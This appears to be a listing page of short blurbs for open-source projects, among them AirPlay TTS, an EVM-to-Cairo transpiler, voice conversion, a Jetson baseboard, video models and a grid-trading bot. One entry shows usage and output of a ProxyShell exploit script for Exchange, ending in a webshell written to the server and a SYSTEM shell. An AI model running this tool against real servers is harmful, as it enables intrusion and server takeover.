Author: Deep Learner

Speech

Make your AirPlay devices as TTS speakers

Home Assistant integration component, make your AirPlay devices as TTS speakers. 2021.6.X or earlier Apple Airplayer component requires pyatv 0.8.1, which is self-contained in the latest version Home Assistant (2021.7.3). You can run pip list | grep pyqatv in your Home Assistant container host to check the version of pyatv. If lower than 0.8.1, you should run commands as below to upgrade pyatv. apk update apk add build-base pip3 install –upgrade pyatv pip3 install –upgrade attrs 2021.7.X or later There […]

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Ethereum

Bringing Ethereum Virtual Machine to StarkNet at warp speed

Warp brings EVM compatible languages to StarkNet, making it possible to transpile Ethereum smart contracts to Cairo, and use them on StarkNet. Installation⚙️ Linux: sudo apt update sudo apt install software-properties-common sudo add-apt-repository ppa:deadsnakes/ppa sudo apt update sudo apt install -y python3.7 sudo apt install -y python3.7-dev sudo apt install -y libgmp3-dev python3.7 -m venv ~/warp_demo source ~/warp_demo/bin/activate pip install wheel pip install ecdsa fastecdsa sympy pip install cairo-lang==0.3.1 make warp    

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Voice

A Diverse and Non-parallel Framework for Natural-Sounding Voice Conversion

Yinghao Aaron Li, Ali Zare, Nima Mesgarani We present an unsupervised non-parallel many-to-many voice conversion (VC) method using a generative adversarial network (GAN) called StarGAN v2. Using a combination of adversarial source classifier loss and perceptual loss, our model significantly outperforms previous VC models. Although our model is trained only with 20 English speakers, it generalizes to a variety of voice conversion tasks, such as any-to-many, cross-lingual, and singing conversion. Using a style encoder, our framework can also convert plain […]

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Raspberrypi

An open source Jetson Nano baseboard and tools to design your own

This basic baseboard gives the user the foundation and the flexibility to design their own baseboard for the Jetson Nano. It also repurposes some of the Jetson Nano’s interface signals for simple beginner projects. This baseboard, as designed, contains: A 5V, 4A DC barrel jack 4 USB 2.0 connectors An HDMI connector A UART-to-USB bridge A debug USB A 40-pin GPIO A servo header Three user-interactive buttons (power, reset, and force recovery) A flex connector for an OLED display Use […]

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Segmentation

Dynamic Segment Aggregation Network for Video-Level Representation Learning

Overview We release the code of the DSANet (Dynamic Segment Aggregation Network). We introduce the DSA module to capture relationship among snippets for video-level representation learning. Equipped with DSA modules, the top-1 accuracy of I3D ResNet-50 is improved to 78.2% on Kinetics-400. The core code to implement the Dynamic Segment Aggregation Module is codes/models/modules_maker/DSA.py. [July 7, 2021] We release the core code of DSANet. [July 3, 2021] DSANet has been accepted by ACMMM 2021. Prerequisites All dependencies can be installed […]

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Automation

Automatic ProxyShell Exploit In Python

python3 proxyshell.py -t exchange.lab.local fqdn exchange.lab.local + [email protected] legacyDN /o=First Organization/ou=Exchange Administrative Group (FYDIBOHF23SPDLT)/cn=Recipients/cn=admin leak_sid S-1-5-21-3626636094-1513906978-1376853856-1156 token VgEAVAdX[cut]AAAA== set_ews Success with subject badqxybxtecxuttq write webshell at aspnet_client/tjmzk.aspx nt authoritysystemSHELL>“> usage: proxyshell.py [-h] -t T Automatic Exploit ProxyShell optional arguments: -h, –help show this help message and exit -t T Exchange URL Usage: C:>python3 proxyshell.py -t exchange.lab.local fqdn exchange.lab.local + [email protected] legacyDN /o=First Organization/ou=Exchange Administrative Group (FYDIBOHF23SPDLT)/cn=Recipients/cn=admin leak_sid S-1-5-21-3626636094-1513906978-1376853856-1156 token VgEAVAdX[cut]AAAA== set_ews Success with subject badqxybxtecxuttq write webshell at aspnet_client/tjmzk.aspx nt […]

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Transformer

SwinIR: Image Restoration Using Swin Transformer

This repository is the official PyTorch implementation of SwinIR: Image Restoration Using Shifted Window Transformer (arxiv, supp). SwinIR ahcieves state-of-the-art performance in bicubic/lighweight/real-world image SR grayscale/color image denoising JPEG compression artifact reduction 🚀 🚀 🚀News: Image restoration is a long-standing low-level vision problem that aims to restore high-quality images from low-quality images (e.g., downscaled, noisy and compressed images). While state-of-the-art image restoration methods are based on convolutional neural networks, few attempts have been made with Transformers which show impressive performance […]

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Trading

Leveraged grid-trading bot using CCXT/CCXT Pro library in FTX exchange

The code is designed to perform infinity grid trading strategy in FTX exchange. The basic trader named Gridtrader.py control the number of grids dynamically using the setting in JSON file. asyncGridtrader.py will do the same job asynchronously. Trader with database support, Gridtrader_with_db.py and asyncGridtrader_with_db.py, will store the transaction info in database via mysql. If the trader termineated accidentally, the next execution of trader will follow the history stored in the database. It is recommended to execeute the code in Linux […]

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